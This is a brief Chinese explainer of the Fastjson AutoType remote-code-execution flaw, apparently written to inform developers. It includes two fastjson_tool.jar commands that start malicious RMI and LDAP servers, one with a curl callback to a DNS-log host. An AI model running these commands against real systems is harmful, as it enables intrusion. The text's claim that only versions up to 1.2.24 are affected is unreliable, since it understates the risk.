fastjson rce

Fastjson RCE（Remote Code Execution）是指在使用Fastjson这个Java库时，存在远程代码执行的风险。在Fastjson版本1.2.24及以下的版本中，存在RCE问题。这个问题是由于Fastjson引入了AutoType特性，但在安全方面的考虑不够周全，导致攻击者可以通过构造恶意的JSON数据来执行任意的Java代码，从而实现远程代码执行。

为了利用Fastjson RCE问题，攻击者可以使用一些工具，比如fastjson_tool.jar。通过执行类似以下命令来利用Fastjson RCE问题：

java -cp fastjson_tool.jar fastjson.HRMIServer 127.0.0.1 80 "curl dnslog.wyzxxz.cn"
java -cp fastjson_tool.jar fastjson.HLDAPServer 127.0.0.1 80

以上命令中，HRMIServer和HLDAPServer是Fastjson工具提供的两种利用方式，它们可以远程执行指定的代码，包括通过curl命令发送HTTP请求。

值得注意的是，Fastjson RCE问题只存在于版本1.2.24及以下，因此建议使用最新版本的Fastjson以避免此安全风险。